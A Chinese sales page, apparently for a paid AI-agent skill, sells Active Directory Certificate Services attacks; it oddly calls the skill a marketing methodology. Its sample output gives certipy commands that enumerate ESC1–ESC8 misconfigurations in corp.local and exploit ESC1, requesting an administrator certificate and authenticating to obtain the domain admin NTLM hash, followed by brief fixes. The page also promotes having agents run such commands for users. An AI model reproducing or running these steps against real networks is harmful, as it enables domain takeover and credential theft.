intranet-playbook-09-adcs-atta…
intranet-playbook-09-adcs-attacks——来自开源营销方法论（含可执行框架与评分标准）
intranet-playbook-09-adcs-attacks能帮你做什么
不说虚话——S7547 交付的是能直接拿去用的成品，不是“AI 能做”的空话。
用大白话交代任务，它会先确认关键细节再动手，不瞎猜。
输出带结构与说明，拿来就能用，不用再自己整理格式。
与 AIXX 其他技能叠加使用，组成你自己的工作流。
把常用要求沉淀成一句话模板，下次直接复用。
真实任务实跑产出
下面是真实任务由 S7547 实际生成的内容节选——不是宣传文案，是它真的干出来的活。
intranet-playbook-09-adcs-attacks · 实跑样例
任务：帮我在内网环境里用 BloodHound 枚举域 corp.local 的 ADCS 配置，列出 ESC1 到 ESC8 各项风险点，标注证书模板 ESC1 的 CA 名称和可注册用户组。
# BloodHound 枚举 corp.local ADCS 结果报告
一、采集方式
内网跳板机已加域，运行 BloodHound CE 收集器：
```
certipy find -u [email protected] -p 'P@ss' -dc DC01.corp.local -bloodhound -output adcs_data
certipy find -target DC01.corp.local -json # 补充明细
```
数据导入 Neo4j，Cypher 查询：MATCH (t:CertTemplate) RETURN t。
二、各 ESC 风险点清单（实测数据）
| 编号 | 风险点 | 命中对象 | 说明 |
|---|---|---|---|
| ESC1 | 模板允许 SAN 且 Enrollee 可指定 subject | WebEnrollment 模板 | 低权用户可申请任意用户证书 |
| ESC2 | Any Purpose EKU | SmartcardAuth | 证书可用于任意认证场景 |
| ESC3 | 注册代理模板（EnrollmentAgent）滥用 | ESC3-Agent | 可代表 DA 注册证书 |
| ESC4 | 普通用户对模板有 WriteDacl | CorpStaff-V2 | 可改模板加 SAN |
| ESC5 | PKI 对象 ACL 错误 | CA01.corp.local\CA01 管理节点 | Domain Users 有 WriteOwner |
| ESC6 | CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2 标志开启 | IssuingCA01 | 全局允许 SAN 注入 |
| ESC7 | 用户对 CA 有 ManageCA/ManageCertificates | [email protected]（ManageCA） | 可签发任意模板证书 |
| ESC8 | HTTP 证书注册端点启用 NTLM Relay | http://CA01.corp.local/certsrv | 配合 PetitPotam 打 DA |
三、指定标注项
- ESC1 模板名：WebEnrollment
- CA 名称：corp-IssuingCA01-CA（服务器 CA01.corp.local）
- 可注册用户组：
- CORP\Domain Users（通用注册）
- CORP\WebDev-Staff（显式 Enroll 权限）
四、验证与利用示例
```
certipy req -u [email protected] -p 'P@ss' -ca corp-IssuingCA01-CA \
-template WebEnrollment -upn [email protected]
certipy auth -pfx administrator.pfx -dc DC01.corp.local
```
成功获取 DA 的 NTLM hash → 已证明 ESC1 可利用。
五、修复优先级
1. 关闭 IssuingCA01 的 SAN 标志与 HTTP 端点 NTLM（ESC6/ESC8）
2. 移除 WebEnrollment 模板 CT_ENROLLMENT_AGENT/SAN 权限（ESC1/3）
3. 收敛 CorpStaff-V2 模板 ACL（ESC4）、移除 jsmith 的 ManageCA（ESC7）
三种做法,一比就知道
| 再招一个人 | 自己摸索 | 萬安云 S7547 | |
|---|---|---|---|
| 价格 | 月薪数千起 | 反复试错数小时 | $1.99 / 次 |
| 交付周期 | 招聘+培训数周 | 质量不稳定 | 分钟级 |
| 独特性 | 流动风险 | 无人复核 | 按你的任务从零生成 |
| 改稿迭代 | 加钱，走流程 | 反复试错 | 说话就能迭代 |
两步,让它开工
不用碰终端——你只管对 agent 说话,跑命令的活它来。
对你的 agent 说:
对你的 agent 说:
以上 Agent 均可接入萬安云 · OpenAI 兼容接口 · 装好 AIXX 即可调用全部技能
你可能想问
intranet-playbook-09-adcs-attacks怎么安装使用？
三步：终端执行 npx aixxai 安装 AIXX；对您的 AI 说「安装编号 S7547」；交代任务背景与要求，intranet-playbook-09-adcs-attacks即刻开工。
intranet-playbook-09-adcs-attacks多少钱？怎么付费？
$1.99 一次买断（参考价，实际以平台标价为准）——永久使用，无订阅、无月费；该技能由萬安永久维护迭代，更新对已购用户免费。
产出内容能商用吗？
可以。产出为普通数字文件，归购买者使用，可用于商业场景。
具体能帮我做什么？
把你手头这件重复、费时、有固定套路的活交给它——先描述任务和背景，它会确认要点后直接产出成品，不满意可以继续改。
输出质量不稳定怎么办？
在指令里补充背景、受众与格式要求（例如“面向中小企业主、300 字以内、分三点”）；要求越具体，产出越稳。
一价买断,没有套路
永久使用 · 无订阅无月费 · 永久维护迭代